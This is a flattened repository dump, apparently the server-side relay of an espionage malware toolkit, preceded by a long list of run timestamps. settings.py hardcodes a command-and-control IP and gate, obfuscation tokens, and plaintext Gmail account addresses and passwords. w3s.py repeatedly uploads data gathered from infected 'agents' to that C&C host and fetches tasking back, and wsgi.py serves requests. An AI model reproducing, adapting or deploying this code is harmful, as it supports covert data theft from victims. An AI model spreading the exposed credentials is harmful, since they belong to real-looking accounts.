2015-04-07T10:50:56.727000 133 | ### Started 2015-04-07T10:53:02.960000 134 | ### Started 2015-04-07T10:58:53.082000 135 | ### Started 2015-04-07T11:02:16.895000 136 | ### Started 2015-04-07T11:02:20.253000 137 | ### Started 2015-04-07T11:09:18.150000 138 | ### Started 2015-04-07T11:09:19.481000 139 | ### Started 2015-04-07T11:17:46.769000 140 | ### Started 2015-04-07T11:18:58.764000 141 | ### Started 2015-04-07T11:23:38.508000 142 | ### Started 2015-04-07T11:23:43.873000 143 | ### Started 2015-04-07T11:23:45.885000 144 | ### Started 2015-04-07T11:27:23.533000 145 | ### Started 2015-04-07T11:27:52.342000 146 | ### Started 2015-04-07T11:45:11.856000 147 | ### Started 2015-04-07T11:45:21.164000 148 | ### Started 2015-04-07T11:56:43.384000 149 | ### Started 2015-04-07T11:56:45.117000 150 | ### Started 2015-04-07T12:39:01.794000 151 | ### Started 2015-04-07T12:39:12.475000 152 | ### Started 2015-04-07T13:02:29.685000 153 | ### Started 2015-04-07T13:12:25.249000 154 | ### Started 2015-04-07T13:12:27.577000 155 | ### Started 2015-04-07T13:13:36.609000 156 | ### Started 2015-04-07T13:14:43.618000 157 | ### Started 2015-04-07T13:23:51.835000 158 | ### Started 2015-04-07T13:24:00.703000 159 | ### Started 2015-04-07T13:36:23.634000 160 | ### Started 2015-04-07T13:36:25.784000 161 | ### Started 2015-04-07T13:36:49.454000 162 | ### Started 2015-04-07T13:36:52.592000 163 | ### Started 2015-04-07T13:36:54.197000 164 | ### Started 2015-04-07T13:38:23.547000 165 | ### Started 2015-04-07T13:39:03.407000 166 | ### Started 2015-04-07T13:42:51.428000 167 | ### Started 2015-04-07T13:42:56.353000 168 | ### Started 2015-04-07T13:42:58.093000 169 | ### Started 2015-04-14T07:36:57.171000 170 | ### Started 2015-04-14T07:37:04.447000 171 | ### Started 2015-04-14T07:37:38.469000 172 | ### Started 2015-04-14T07:37:48.158000 173 | ### Started 2015-04-14T07:42:04.872000 174 | ### Started 2015-04-14T07:45:20.941000 175 | ### Started 2015-04-14T07:49:54.463000 176 | ### Started 2015-04-14T07:55:06.056000 177 | ### Started 2015-04-14T07:55:42.281000 178 | ### Started 2015-04-14T07:56:58.027000 179 | ### Started 2015-04-14T08:00:44.016000 180 | ### Started 2015-04-14T08:02:37.373000 181 | ### Started 2015-04-14T08:03:00.670000 182 | ### Started 2015-04-14T08:03:14.967000 183 | ### Started 2015-04-14T08:04:03.362000 184 | ### Started 2015-04-14T08:11:14.635000 185 | ### Started 2015-04-14T08:12:19.543000 186 | ### Started 2015-04-14T08:14:58.369000 187 | ### Started 2015-04-14T08:18:27.003000 188 | ### Started 2015-04-14T08:22:30.912000 189 | ### Started 2015-04-14T08:24:39.090000 190 | ### Started 2015-04-14T08:25:27.188000 191 | ### Started 2015-04-14T08:32:22.346000 192 | ### Started 2015-04-14T08:32:28.533000 193 | ### Started 2015-04-14T08:41:09.121000 194 | ### Started 2015-04-14T08:45:42.771000 195 | ### Started 2015-04-14T08:50:41.121000 196 | ### Started 2015-04-14T08:51:24.315000 197 | ### Started 2015-04-14T08:53:48.161000 198 | ### Started 2015-04-14T10:00:56.624000 199 | ### Started 2015-04-14T10:01:09.668000 200 | ### Started 2015-04-14T10:01:14.955000 201 | ### Started 2015-04-14T10:01:27.975000 202 | ### Started 2015-04-14T10:01:44.449000 203 | ### Started 2015-04-14T10:01:54.918000 204 | ### Started 2015-04-14T10:03:26.788000 205 | ### Started 2015-04-14T10:05:21.444000 206 | ### Started 2015-04-14T10:06:10.530000 207 | ### Started 2015-04-14T10:08:31.194000 208 | ### Started 2015-04-14T10:09:30.558000 209 | ### Started 2015-04-14T10:48:17.451000 210 | ### Started 2015-04-14T10:48:28.554000 211 | ### Started 2015-04-14T10:48:48.170000 212 | ### Started 2015-04-14T10:49:22.495000 213 | ### Started 2015-04-14T10:49:50.057000 214 | ### Started 2015-04-14T10:55:54.312000 215 | ### Started 2015-04-14T10:56:17.431000 216 | ### Started 2015-04-14T10:56:26.356000 217 | ### Started 2015-04-14T11:10:49.991000 218 | ### Started 2015-04-14T11:11:16.524000 219 | ### Started 2015-04-14T11:24:03.689000 220 | ### Started 2015-04-14T11:29:13.019000 221 | ### Started 2015-04-14T11:29:44.959000 222 | ### Started 2015-04-14T11:41:35.993000 223 | ### Started 2015-04-14T11:41:38.518000 224 | ### Started 2015-04-14T11:46:05.791000 225 | ### Started 2015-04-14T12:53:40.334000 226 | ### Started 2015-04-14T12:54:27.259000 227 | ### Started 2015-04-14T12:55:31.734000 228 | ### Started 2015-04-14T12:58:05.208000 229 | ### Started 2015-04-14T13:02:19.089000 230 | ### Started 2015-04-14T13:02:36.294000 231 | ### Started 2015-04-14T13:03:24.561000 232 | ### Started 2015-04-14T13:03:43.380000 233 | ### Started 2015-04-14T13:04:08.996000 234 | ### Started 2015-04-14T13:05:05.054000 235 | ### Started 2015-04-14T13:05:29.664000 236 | ### Started 2015-04-14T13:05:55.179000 237 | ### Started 2015-04-14T13:05:56.916000 238 | ### Started 2015-04-14T13:06:34.301000 239 | ### Started 2015-04-14T13:07:04.241000 240 | ### Started 2015-04-14T13:09:46.858000 241 | ### Started 2015-04-14T13:13:41.865000 242 | ### Started 2015-04-14T14:23:18.351000 243 | ### Started 2015-04-14T14:27:00.375000 244 | ### Started 2015-04-14T14:34:53.854000 245 | ### Started 2015-04-14T14:34:58.177000 246 | ### Started 2015-04-14T14:50:03.164000 247 | ### Started 2015-04-15T06:23:27.713000 248 | ### Started 2015-04-15T06:32:16.481000 249 | ### Started 2015-04-15T06:32:29.028000 250 | ### Started 2015-04-15T06:32:38.585000 251 | ### Started 2015-04-15T06:32:49.791000 252 | ### Started 2015-04-15T06:43:22.889000 253 | ### Started 2015-04-15T06:53:39.399000 254 | ### Started 2015-04-15T07:11:35.423000 255 | ### Started 2015-04-15T09:19:24.904000 256 | ### Started 2015-04-15T10:24:35.399000 257 | ### Started 2015-04-15T10:25:39.545000 258 | ### Started 2015-04-15T11:16:08.837000 259 | ### Started 2015-04-15T11:17:21.681000 260 | ### Started 2015-04-15T11:18:02.864000 261 | ### Started 2015-04-15T11:19:27.141000 262 | ### Started 2015-04-15T11:23:26.236000 263 | ### Started 2015-04-15T11:38:11.242000 264 | ### Started 2015-04-15T11:42:10.539000 265 | ### Started 2015-04-15T11:42:24.848000 266 | ### Started 2015-04-15T11:43:15.582000 267 | ### Started 2015-04-15T12:16:18.447000 268 | ### Started 2015-04-15T12:16:19.155000 269 | ### Started 2015-04-15T12:18:38.982000 270 | ### Started 2015-04-15T12:19:12.331000 271 | ### Started 2015-04-15T12:19:39.387000 272 | ### Started 2015-04-15T12:21:16.677000 273 | ### Started 2015-04-15T12:22:16.587000 274 | ### Started 2015-04-15T12:23:34.154000 275 | ### Started 2015-04-15T12:25:20.921000 276 | ### Started 2015-04-15T12:31:24.889000 277 | ### Started 2015-04-15T12:48:44.093000 278 | ### Started 2015-04-15T12:49:03.490000 279 | ### Started 2015-04-15T12:49:39.075000 280 | ### Started 2015-04-15T13:28:02.884000 281 | ### Started 2015-04-15T13:30:40.772000 282 | ### Started 2015-04-15T14:10:11.215000 283 | ### Started 2015-04-15T14:10:13.969000 284 | ### Started 2015-04-15T14:10:15.809000 285 | ### Started 2015-04-15T14:19:27.385000 286 | ### Started 2015-04-15T14:19:28.707000 287 | ### Started 2015-04-15T14:22:16.447000 288 | ### Started 2015-04-15T14:29:07.725000 289 | ### Started 2015-04-15T14:31:28.848000 290 | ### Started 2015-04-15T14:31:31.853000 291 | ### Started 2015-04-15T14:55:15.162512 292 | ### Started 2015-04-15T14:56:03.330975 293 | ### Started 2015-04-15T15:00:11.131992 294 | ### Started 2015-04-15T15:04:59.809629 295 | ### Started 2015-04-15T15:05:02.726590 296 | ### Started 2015-04-16T06:14:52.749444 297 | ### Started 2015-04-16T06:54:30.769172 298 | ### Started 2015-04-16T07:53:11.225236 299 | ### Started 2015-04-16T07:53:44.679991 300 | -------------------------------------------------------------------------------- /quickstart.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import argparse 4 | import httplib2 5 | 6 | from apiclient.discovery import build 7 | from oauth2client.client import flow_from_clientsecrets 8 | from oauth2client.file import Storage 9 | from oauth2client.tools import run_flow, argparser 10 | 11 | # Parse the command-line arguments (e.g. --noauth_local_webserver) 12 | parser = argparse.ArgumentParser(parents=[argparser]) 13 | flags = parser.parse_args() 14 | 15 | # Path to the client_secret.json file downloaded from the Developer Console 16 | CLIENT_SECRET_FILE = '_secret.json' 17 | 18 | # Check https://developers.google.com/gmail/api/auth/scopes 19 | # for all available scopes 20 | OAUTH_SCOPE = 'https://www.googleapis.com/auth/gmail.readonly' 21 | 22 | # Location of the credentials storage file 23 | STORAGE = Storage('gmail.storage') 24 | 25 | # Start the OAuth flow to retrieve credentials 26 | flow = flow_from_clientsecrets(CLIENT_SECRET_FILE, scope=OAUTH_SCOPE) 27 | http = httplib2.Http() 28 | 29 | # Try to retrieve credentials from storage or run the flow to generate them 30 | credentials = STORAGE.get() 31 | if credentials is None or credentials.invalid: 32 | credentials = run_flow(flow, STORAGE, flags, http=http) 33 | 34 | # Authorize the httplib2.Http object with our credentials 35 | http = credentials.authorize(http) 36 | 37 | # Build the Gmail service from discovery 38 | gmail_service = build('gmail', 'v1', http=http) 39 | 40 | # Retrieve a page of threads 41 | threads = gmail_service.users().threads().list(userId='me').execute() 42 | 43 | # Print ID for each thread 44 | if threads['threads']: 45 | for thread in threads['threads']: 46 | print 'Thread ID: %s' % (thread['id']) 47 | -------------------------------------------------------------------------------- /settings.py: -------------------------------------------------------------------------------- 1 | # Server UID 2 | SERVER_UID = 45158729 3 | 4 | # Setup Logging system ######################################### 5 | # 6 | import os 7 | from FileConsoleLogger import FileConsoleLogger 8 | 9 | ServerLogger = FileConsoleLogger( os.path.join(os.path.dirname(os.path.abspath(__file__)), "_w3server.log") ) 10 | W3Logger = FileConsoleLogger( os.path.join(os.path.dirname(os.path.abspath(__file__)), "_w3.log") ) 11 | # 12 | 13 | # Setup Level 2 Protocol - P2Scheme ######################################### 14 | # 15 | from P2Scheme import P2Scheme 16 | P2_URL_TOKEN = '760e25f9eb3124'.decode('hex') 17 | P2_SUBJECT_TOKEN = '\x55\xaa\x63\x68\x69\x6e\x61' 18 | P2_DATA_TOKEN = '\x55\xaa\x63\x68\x69\x6e\x61' 19 | 20 | # P2_DATA_TOKEN = 'd85a8c54fbe5e6'.decode('hex') 21 | MARK = 'itwm=' 22 | B64_JUNK_LEN = 9 23 | BIN_JUNK_LEN = 4 24 | 25 | 26 | P2_Scheme = P2Scheme(_url_token=P2_URL_TOKEN, _data_token=P2_DATA_TOKEN, _mark=MARK, _subj_token=P2_SUBJECT_TOKEN,\ 27 | _b64junk_len=B64_JUNK_LEN, _binary_junk_len=BIN_JUNK_LEN) 28 | # 29 | 30 | # Setup Level 3 Protocol - P3Scheme ######################################### 31 | # 32 | from P3Scheme import P3Scheme 33 | # 34 | P3_PRIVATE_TOKEN = 'a20e25f9aa3fe4'.decode('hex') 35 | P3_SERVICE_TOKEN = '015a1354acf1b1'.decode('hex') 36 | # 37 | P3_Scheme = P3Scheme(private_token=P3_PRIVATE_TOKEN, service_token=P3_SERVICE_TOKEN) 38 | # 39 | 40 | # Setup HTTP checker 41 | # 42 | #from HTTPHeadersChecker import HTTPHeadersChecker 43 | # 44 | #HTTPChecker = HTTPHeadersChecker() 45 | 46 | # Setup LocalStorage 47 | # 48 | from FSLocalStorage import FSLocalStorage 49 | LocalStorage = FSLocalStorage() 50 | 51 | ############################################################ 52 | # Initialize Server instance # 53 | # 54 | #from W3Server import W3Server 55 | #MAIN_HANDLER = W3Server(p2_scheme=P2_Scheme, p3_scheme=P3_Scheme, http_checker=HTTPChecker, local_storage=LocalStorage, logger=ServerLogger) 56 | ############################################################ 57 | 58 | # Mail Parameters 59 | POP3_MAIL_IP = 'pop.gmail.com' 60 | POP3_PORT = 995 61 | POP3_ADDR = 'jassnovember30@gmail.com' 62 | POP3_PASS = '30Jass11' 63 | 64 | SMTP_MAIL_IP = 'smtp.gmail.com' 65 | SMTP_PORT = 587 66 | SMTP_TO_ADDR = 'userdf783@mailtransition.com' 67 | SMTP_FROM_ADDR = 'ginabetz75@gmail.com' 68 | SMTP_PASS = '75Gina75' 69 | 70 | 71 | # C&C Parametrs 72 | # 73 | XAS_IP = '104.152.187.66' 74 | XAS_GATE = '/updates/' 75 | 76 | ############################################################ 77 | # Setup P3 communication 78 | # wsgi2 79 | # 80 | LS_TIMEOUT = 1 # big loop timeout 81 | FILES_PER_ITER = 5 # count of requests per iter 82 | ############################################################ 83 | -------------------------------------------------------------------------------- /settings.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rickey-g/fancybear/6e5b7ba03c17a1deeee1b015c5350099487ea270/settings.pyc -------------------------------------------------------------------------------- /w3s.py: -------------------------------------------------------------------------------- 1 | ######################################################################## 2 | 3 | if not __name__ == '__main__': 4 | exit() 5 | 6 | ######################################################################## 7 | 8 | import sys, os 9 | import urllib2 10 | import struct 11 | import time 12 | # 13 | from settings import SERVER_UID, \ 14 | P2_Scheme, \ 15 | P3_Scheme, \ 16 | LocalStorage, \ 17 | W3Logger, \ 18 | XAS_IP, XAS_GATE, \ 19 | LS_TIMEOUT, \ 20 | FILES_PER_ITER 21 | 22 | os.umask(0000) 23 | 24 | def sendHTTPRequest(url, data): 25 | resp = None 26 | try: 27 | request = urllib2.Request(url, data) 28 | request.add_header('User-Agent', 'Mozilla/4.0') 29 | response = urllib2.urlopen(request) 30 | resp = response.read() 31 | except urllib2.HTTPError,e: 32 | W3Logger.log_error( "sendHTTPRequest HTTPError: %d" % e.code ) 33 | except urllib2.URLError,e: 34 | W3Logger.log_error( "sendHTTPRequest URLError: %s" % str(e) ) 35 | except: 36 | W3Logger.log_exception( "sendHTTPRequest Unhandled exception!" ) 37 | raise 38 | return resp 39 | 40 | ######################################################################## 41 | 42 | BASE_URL = "http://" + XAS_IP + XAS_GATE 43 | 44 | def url_for_agent(agent_id): 45 | url = BASE_URL + "?s=" + P3_Scheme.pack_service_data(struct.pack("> Status sended") 61 | except: 62 | W3Logger.log_exception("send_last_activity_info" ) 63 | t = sys.exc_info()[0] 64 | if t == KeyboardInterrupt: 65 | raise 66 | 67 | def send_data_to_cc_from(agent_id): 68 | try: 69 | mark, data = LocalStorage.get_data_from_agent(agent_id) 70 | if not data: 71 | return 72 | meta, data = data.split(P3_Scheme.separator) 73 | W3Logger.log_message( "> Try to Send data" + str(mark) ) 74 | data = "t=2" + "&m=" + meta + "&d=" + data 75 | resp = sendHTTPRequest(url_for_agent(agent_id), data) 76 | if resp and resp == '200': 77 | W3Logger.log_message( ">> Data Sended" ) 78 | else: 79 | W3Logger.log_message( ">> Not sended!" ) 80 | LocalStorage.data_from_agent_accepted(agent_id, mark) 81 | except: 82 | W3Logger.log_exception( "send_data_to_cc_from" ) 83 | t = sys.exc_info()[0] 84 | if t == KeyboardInterrupt: 85 | raise 86 | 87 | def get_data_from_cc_to(agent_id): 88 | try: 89 | W3Logger.log_message("> Try to Get data") 90 | data = sendHTTPRequest(url_for_agent(agent_id), None) 91 | if data and data != '404': 92 | W3Logger.log_message('>> Data received ' + str(len(data))) 93 | data = P3_Scheme.unpack_agent_data(data) 94 | 95 | # data = P2_Scheme.pack_agent_data(P3_Scheme.unpack_agent_data(data)) 96 | #data = base64.b64encode(data) 97 | #data = P3_Scheme.unpack_agent_data(data) 98 | LocalStorage.save_data_for_agent(agent_id, data) 99 | else: 100 | W3Logger.log_message('>> No data!') 101 | except: 102 | W3Logger.log_exception("get_data_from_cc_to") 103 | t = sys.exc_info()[0] 104 | if t == KeyboardInterrupt: 105 | raise 106 | 107 | def main_loop(): 108 | # Start 109 | # Get agents dirs list 110 | agents_list = LocalStorage.get_agents_list() 111 | for agent_id in agents_list: 112 | W3Logger.log_message("\n>> " + str(agent_id)) 113 | send_last_activity_info(agent_id) 114 | for i in range(FILES_PER_ITER): 115 | send_data_to_cc_from(agent_id) 116 | get_data_from_cc_to(agent_id) 117 | time.sleep(0.3) 118 | 119 | if __name__ == '__main__': 120 | while 1: 121 | try: 122 | main_loop() 123 | W3Logger.log_message("\n########################################################################") 124 | # Wait and run next cycle 125 | time.sleep(LS_TIMEOUT) 126 | # break 127 | except: 128 | W3Logger.log_exception("root EXC") 129 | t = sys.exc_info()[0] 130 | if t == KeyboardInterrupt: 131 | exit() 132 | else: 133 | continue 134 | -------------------------------------------------------------------------------- /wsgi.py: -------------------------------------------------------------------------------- 1 | import cgi 2 | import os, sys 3 | # 4 | CUR_DIR = os.path.dirname(os.path.abspath(__file__)) 5 | sys.path.append(CUR_DIR) 6 | 7 | from settings import ServerLogger, MAIN_HANDLER 8 | from WsgiHttp import * 9 | # 10 | 11 | def application(environ, start_response): 12 | try: 13 | # log activity 14 | ServerLogger.log_message("> " + environ['REQUEST_METHOD'] + " from " + environ['REMOTE_ADDR'] + ' : ' + environ['PATH_INFO'] + '?' + environ['QUERY_STRING']) 15 | return MAIN_HANDLER.handle_request(environ, start_response) 16 | except: 17 | ServerLogger.log_exception("MAIN") 18 | return BadHttpResponse(start_response).response() 19 | --------------------------------------------------------------------------------